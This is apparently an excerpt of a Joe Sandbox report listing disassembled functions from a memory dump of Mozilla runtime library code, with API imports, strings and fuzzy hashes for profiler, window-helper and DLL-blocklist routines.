Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset
String ID: ~qZl
API String ID: 2221118986-4224160377
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: a8bd9fab5e846487c4916218042354b369f0e030be6045cf2dedb52953ff0e03
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 77B1C572E0820A8FDB14CF6CCC816EDB7B2AF85314F190279C549DBB95D730A989CB94

Function 6C5ABEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5AC1CB
__aulldiv.LIBCMT ref: 6C5AC24C
__aulldiv.LIBCMT ref: 6C5AC348
__aullrem.LIBCMT ref: 6C5AC365
__aulldiv.LIBCMT ref: 6C5AC37D

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 245de6b99100109a57bad00e34f5c3793610824de2aaf491627289bb8ed5cf52
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 98322732B046118FC718DE6DC89065ABBE6AFC9310F09867DE495CB395D731ED06CB91

Function 6C5E6CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C5E6D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5E6E1E

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 9e467d996098dfdbd152d872459069a59b024ef965ec3c3f6f8f7c3185252de0
Instruction ID: aba1f1f3467fbc824ed1d48b9b1324115ea66d09b32d871feaab0bfb83725fb3
Opcode Fuzzy Hash: 9e467d996098dfdbd152d872459069a59b024ef965ec3c3f6f8f7c3185252de0
Instruction Fuzzy Hash: 72A18B70618384CFDB15CF25C8907AEBBE2BFC9348F04491DE99A87751DB70A949CB82

Function 6C5C4640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C5C4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5C5585, 6C5C55A8, 6C5C55C3, 6C5C5624

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 94c493745be54d2caecbc7ef721dd874cab3cc5c37c4124f75219da864b38e96
Instruction ID: 552be4bf32a83cc4ebc5c9010f34cddcdac87935008786bab9075b186aa3e047
Opcode Fuzzy Hash: 94c493745be54d2caecbc7ef721dd874cab3cc5c37c4124f75219da864b38e96
Instruction Fuzzy Hash: D8B28F71B056018FD308CF99C990725BBE2BFC5328B29C76DE4698B7A5D771E841CB82

Function 6C6085F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C608C7C
__aulldiv.LIBCMT ref: 6C608DD7

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: be2a872b49d769d3c629b90ada2b01e3486ff575f3cbb3d8df408d88d4d594d9
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 63328F31F101198BDF1CCE9CC9A17AEB7B6FB88304F16853AD406BB7A0DA349D458B95

Function 6C6176E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qZl, xrefs: 6C617B0B, 6C61793C, 6C6179FB, 6C617E0B, 6C6179C0, 6C617796

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: ~qZl
API String ID: 0-4224160377
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: a3cc26e547993f11bc2f97b632f64410c61ae1d9ae32e34ce59531f6f6a9e01d
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 62320A71E046198FCB14CF99C890AADFBF2FF88308F648169C549A7B45D731A986CF94

Function 6C616E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qZl, xrefs: 6C617B0B, 6C61793C, 6C617C72, 6C6179FB, 6C617E0B, 6C617C03, 6C6179C0

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: ~qZl
API String ID: 0-4224160377
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 19bda37819bdebe1013a50c67d88af55cd5de13f1e8fae335f1313da59a29b9d
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: F1220975E042198FCB14CF98C880AADF7F2FF88304F6485AAC549A7B45D731A986CF94

Function 6C5E5C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C5B4A63,?,?), ref: 6C5E5F06

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 3e6af2682fed1e7a33fa9948a7535c47f6cff07a4a126e9056dcb77546a16cd9
Instruction ID: 20a62045daa545c748688c10d1c00a7ab334133c17567e59010db0afb843842a
Opcode Fuzzy Hash: 3e6af2682fed1e7a33fa9948a7535c47f6cff07a4a126e9056dcb77546a16cd9
Instruction Fuzzy Hash: E7C1D275D012098BCB04CF99C9906EEBBF2FF8A318FA8415DD8556BB45D732A906CF90

Function 6C5D0512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 6b274da699a51902576afb2007428f7aa8669ff043b9c833f60765cb011d3446
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: BE221671E00619CFCB14CF98C890AADF7B2FF88314F55869AD44AA7705D731A986CF84

Function 6C61AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33cb064bc30959da60377ddd9f4483401e727ff62f8445e899514d13fa10c4bd
Instruction ID: b42411a1024763ab42fed08c8b48809b8ea30ec380ff29545556e980984c3241
Opcode Fuzzy Hash: 33cb064bc30959da60377ddd9f4483401e727ff62f8445e899514d13fa10c4bd
Instruction Fuzzy Hash: B7F13971A0C7454FD700CE2CC8913AAB7E2AFC531AF158A2DE4D487F92E774988D8796

Function 6C5AC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 4d7c41bfe003d8dcb3dbffc77e1c1a09eb23f250caaf566cdf5819a47df85da6
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 4BA1A171F0021A8FDB08CEA9C8913AEB7F2AFC9354F188129D915E7791D7356C068BD0

Function 6C6055F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C5DE1A5), ref: 6C605606
LoadLibraryW.KERNEL32(gdi32,?,6C5DE1A5), ref: 6C60560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C605633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C60563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C60566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C60567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C605696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6056B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6056CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6056E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6056FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C605716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C60572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C605748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C605761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C60577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C605793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6057A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6057BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6057D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6057EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6057FF

Strings

FillRect, xrefs: 6C605729
SetWindowLongPtrW, xrefs: 6C6057B7
StretchDIBits, xrefs: 6C6057CC
user32, xrefs: 6C605601
EnableNonClientDpiScaling, xrefs: 6C605666
LoadIconW, xrefs: 6C60575B
CreateSolidBrush, xrefs: 6C6057E4
ShowWindow, xrefs: 6C6056DE
GetWindowDC, xrefs: 6C605710
GetThreadDpiAwarenessContext, xrefs: 6C60562D
gdi32, xrefs: 6C60560A
ReleaseDC, xrefs: 6C605742
SetWindowPos, xrefs: 6C6056F7
GetDpiForWindow, xrefs: 6C605690
RegisterClassW, xrefs: 6C6056AC
CreateWindowExW, xrefs: 6C6056C5
AreDpiAwarenessContextsEqual, xrefs: 6C605637
DeleteObject, xrefs: 6C6057F9
LoadCursorW, xrefs: 6C605774
MonitorFromWindow, xrefs: 6C60578D
GetSystemMetricsForDpi, xrefs: 6C605677
GetMonitorInfoW, xrefs: 6C6057A2

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 5f31fe26e2d003e74035fbced6d182f54367423d02501a6350efa2aa51eff81e
Instruction ID: e1c1dbc385d333ab9905a20563842b1352d83a7447740f029dd45e8d96408e9b
Opcode Fuzzy Hash: 5f31fe26e2d003e74035fbced6d182f54367423d02501a6350efa2aa51eff81e
Instruction Fuzzy Hash: 7F512F707153239BDB049F368E9492A3AFCFF46385B144425AD62F2A55EB7CC8018F6D

Function 6C5ECC00 Relevance: 75.2, APIs: 25, Strings: 25, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C5B582D), ref: 6C5ECC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C5B582D), ref: 6C5ECC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C61FE98,?,?,?,?,?,6C5B582D), ref: 6C5ECC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C5B582D), ref: 6C5ECC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C5B582D), ref: 6C5ECC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C5B582D), ref: 6C5ECC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5B582D), ref: 6C5ECCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C5ECCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C5ECCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C5ECCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C5ECCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C5ECD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C5ECD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C5ECD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C5ECDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C5ECDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C5ECDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C5ECDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C5ECE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C5ECE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C5ECE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C5ECE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C5ECE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C5ECE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C5ECE8A

Strings

audiocallbacktracing, xrefs: 6C5ECDD4
markersallthreads, xrefs: 6C5ECE42
leaf, xrefs: 6C5ECC66
nativeallocations, xrefs: 6C5ECDA8
cpuallthreads, xrefs: 6C5ECE16
seqstyle, xrefs: 6C5ECCE6
power, xrefs: 6C5ECE84
notimerresolutionchange, xrefs: 6C5ECE00
fileio, xrefs: 6C5ECC92
screenshots, xrefs: 6C5ECCD4
noiostacks, xrefs: 6C5ECCBE
java, xrefs: 6C5ECC37
mainthreadio, xrefs: 6C5ECC7C
nostacksampling, xrefs: 6C5ECD7C
Unrecognized feature "%s"., xrefs: 6C5ECEA0
ipcmessages, xrefs: 6C5ECDBE
default, xrefs: 6C5ECC21
preferencereads, xrefs: 6C5ECD92
processcpu, xrefs: 6C5ECE6E
fileioall, xrefs: 6C5ECCA8
samplingallthreads, xrefs: 6C5ECE2C
jsallocations, xrefs: 6C5ECD0E
stackwalk, xrefs: 6C5ECCF8
Q^, xrefs: 6C5ECD25
unregisteredthreads, xrefs: 6C5ECE58

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$Q^$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-1065946776
Opcode ID: 3a2c7171958b9561609795740c909d88370760df082db387857aa337d82519eb
Instruction ID: 393fb66a07737cea417b6c975e6b01fe38d7e650c0b50591e21ee837e370fadf
Opcode Fuzzy Hash: 3a2c7171958b9561609795740c909d88370760df082db387857aa337d82519eb
Instruction Fuzzy Hash: 5A51CCF19092A561FA05B1191E20BEE1C45EF5B24BF106436EE1BA1F80FF06F61949BF

Function 6C5B4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5B4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5B44B2,6C62E21C,6C62F7F8), ref: 6C5B473E
Part of subcall function 6C5B4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C5B474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C5B44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C5B44D2
InitOnceExecuteOnce.KERNEL32(6C62F80C,6C5AF240,?,?), ref: 6C5B451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C5B455C
LoadLibraryW.KERNEL32(?), ref: 6C5B4592
InitializeCriticalSection.KERNEL32(6C62F770), ref: 6C5B45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C5B45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C5B45BB
InitOnceExecuteOnce.KERNEL32(6C62F818,6C5AF240,?,?), ref: 6C5B4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C5B4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C5B4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C5B466D
VerSetConditionMask.NTDLL ref: 6C5B469F
VerSetConditionMask.NTDLL ref: 6C5B46AB
VerSetConditionMask.NTDLL ref: 6C5B46B2
VerSetConditionMask.NTDLL ref: 6C5B46B9
VerSetConditionMask.NTDLL ref: 6C5B46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5B46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C5B46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C5B46FD

Strings

user32.dll, xrefs: 6C5B4557, 6C5B463F
l, xrefs: 6C5B4578
WRusr.dll, xrefs: 6C5B44B5
kernel32.dll, xrefs: 6C5B44CD
Gbl, xrefs: 6C5B44FC
NativeNtBlockSet_Write, xrefs: 6C5B46F7

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gbl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3324001954
Opcode ID: 92cf069cee517e135d84ebd5672a7e51041a6d58fc5ddb4b040e2d112189c132
Instruction ID: cff88caaebaecf6036a6618cd64cac75ac8956e8d5328bba4cbe5482e6b61ac3
Opcode Fuzzy Hash: 92cf069cee517e135d84ebd5672a7e51041a6d58fc5ddb4b040e2d112189c132
Instruction Fuzzy Hash: 0A615BB0604354AFEB209F62CC85B957FB8EF82308F04855CE545AB641D3BD9945CF5A

Function 6C5EF6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EF70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C5EF8F9

Part of subcall function 6C5B6390: GetCurrentThreadId.KERNEL32 ref: 6C5B63D0
Part of subcall function 6C5B6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C5B63DF
Part of subcall function 6C5B6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C5B640E

ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF93A
GetCurrentThreadId.KERNEL32 ref: 6C5EF98A
GetCurrentThreadId.KERNEL32 ref: 6C5EF990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF716

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

Part of subcall function 6C5AB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C5AB5E0

